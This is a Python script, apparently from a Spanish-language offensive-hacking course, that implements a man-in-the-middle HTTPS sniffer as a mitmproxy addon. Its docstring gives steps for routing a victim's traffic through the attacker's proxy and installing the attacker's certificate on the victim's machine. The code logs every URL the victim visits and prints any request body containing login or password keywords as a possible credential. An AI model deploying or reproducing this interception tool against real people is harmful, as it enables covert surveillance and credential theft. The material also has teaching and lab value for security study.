Curso-lenguaje-python/python-ofensivo/15_hacking/04_https_sniffer_mitmdump_02.py

61 lines
1.5 KiB
Python

# /usr/bin/env python3
"""
HTTPS sniffer - MITM Proxy
1. Descargar los binarios de mitmproxy, mitmweb y mitmdump
2. Ejecutar binario mitmweb o mitmproxy.
3. Configurar el proxy en la máquina víctima. (IP:8080)
4. Comprobar en la url mitm.it desde la máquina de la victima que
ya puedes descargar el certificado
5. Instalar el certificado en la máquina de la víctima
6. Observar el tráfico en la máquina del atacante
7. Ejecutar el script con el binario mitmdump con la opción -s para
indicar el script a ejecutar y personalizar la recogida de información
También se puede lanzar desde docker: https://hub.docker.com/r/mitmproxy/mitmproxy/
"""
from mitmproxy import http
from urllib.parse import urlparse
def has_keywords(data, keywords):
"""
Esta función comprueba si en la petición se encuentran las palabras
clave que nos interesan
"""
return any(keyword in data for keyword in keywords)
def request(packet):
"""
Esta función se ejecuta cada vez que se realiza una petición
"""
url = packet.request.url
parsed_url = urlparse(url)
scheme = parsed_url.scheme
domain = parsed_url.netloc
path = parsed_url.path
print(f"\n\nURL visitada por la víctima: {scheme}://{domain}{path}")
keywords = [
"login", "signin", "logon",
"password", "pass", "passwd",
"user", "username"
]
data = packet.request.get_text()
if has_keywords(data, keywords):
print(f"\n\nPosible credencial:\n\n{data}\n\n")